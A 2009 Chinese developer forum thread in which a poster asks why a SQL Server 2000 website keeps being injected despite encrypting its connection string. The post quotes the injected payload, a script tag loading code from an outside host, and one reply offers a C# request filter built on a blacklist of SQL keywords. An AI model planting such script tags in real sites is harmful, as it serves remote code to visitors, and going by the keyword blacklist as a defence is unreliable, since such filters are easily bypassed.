数据库被注入功击?

liuchengren 2009-07-20 04:08:14
最近做了一个网站,数据库采用SQL2000,也被(<script src=http://3b3.org/c.js></script>)多次注入功击.
估计是数据库密码被人盗了,后来进行了连接串加密,还是被功击,
后来又有DELPHI写DLL文件来加加密连接串,一样被功击。

现在用加密文件来保存连接串,并且文件路在传参时已进行加密,解密是用DELPHI写的DLL来处理的,还是被功击,

小弟无语了,望高手支招。谢谢!
...全文
189 28 打赏 收藏 转发到动态 举报
写回复
用AI写文章
28 条回复
切换为时间正序
请发表友善的回复…
发表回复
地下室小红叔 2009-07-21
  • 打赏
  • 举报
回复
不是加密的问题 我正想写个专题 三言两语描述不清
btq123 2009-07-21
  • 打赏
  • 举报
回复
对手好强,你是拼接的吗?
bl_song 2009-07-21
  • 打赏
  • 举报
回复
是拼接字符串的问题吧。。。
Ray1010 2009-07-21
  • 打赏
  • 举报
回复
是拼接字符串的问题吧。。。
tthh_0013 2009-07-20
  • 打赏
  • 举报
回复
DING...
paulin 2009-07-20
  • 打赏
  • 举报
回复
你的sql注入,是因为程序中存在拼接sql的sql语句吧...
andyqq8 2009-07-20
  • 打赏
  • 举报
回复
sql注入同加密解密无关!
liuchengren 2009-07-20
  • 打赏
  • 举报
回复
我把SQL语句进行过滤处理过。但还是不行。
难道就一定要写存储过程来处理吗?
fengying0529 2009-07-20
  • 打赏
  • 举报
回复
是sql注入?
把sql放到存储过程
highfly2008 2009-07-20
  • 打赏
  • 举报
回复
多加强客户端验证和服务器端验证,
Learn-anything 2009-07-20
  • 打赏
  • 举报
回复
lg
andyxl 2009-07-20
  • 打赏
  • 举报
回复
// 就像汽车加锁一样、 电视上报告.小偷可以在3-5秒之内把他打开。《备注:想不被小偷打开、就只有焊死》。

只要能进去的软件、 都有可能被别人攻击的、
wuyq11 2009-07-20
  • 打赏
  • 举报
回复
在global 里添加判断,防止SQL注入
操作数据库用存储过程
void Application_BeginRequest(Object sender, EventArgs e)
{
StartProcessRequest();

}
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "index.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{

for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{

}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec¦insert¦select¦delete¦master¦update¦truncate¦declare";
string[] anySqlStr = SqlStr.Split('¦');
foreach (string ss in anySqlStr)
{
if(!Str.ToLower().Contains("updatepanel"))
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
超维电脑科技 2009-07-20
  • 打赏
  • 举报
回复
关注此话题
超维电脑科技 2009-07-20
  • 打赏
  • 举报
回复
关注此话题
超维电脑科技 2009-07-20
  • 打赏
  • 举报
回复
关注此话题
wonderful_ecode 2009-07-20
  • 打赏
  • 举报
回复
丁。
wzuomin 2009-07-20
  • 打赏
  • 举报
回复
mark
超维电脑科技 2009-07-20
  • 打赏
  • 举报
回复
关注此话题
wonderful_ecode 2009-07-20
  • 打赏
  • 举报
回复
丁。
加载更多回复(7)

111,120

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术 C#
社区管理员
  • C#
  • AIGC Browser
  • by_封爱
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

让您成为最强悍的C#开发者

试试用AI创作助手写篇文章吧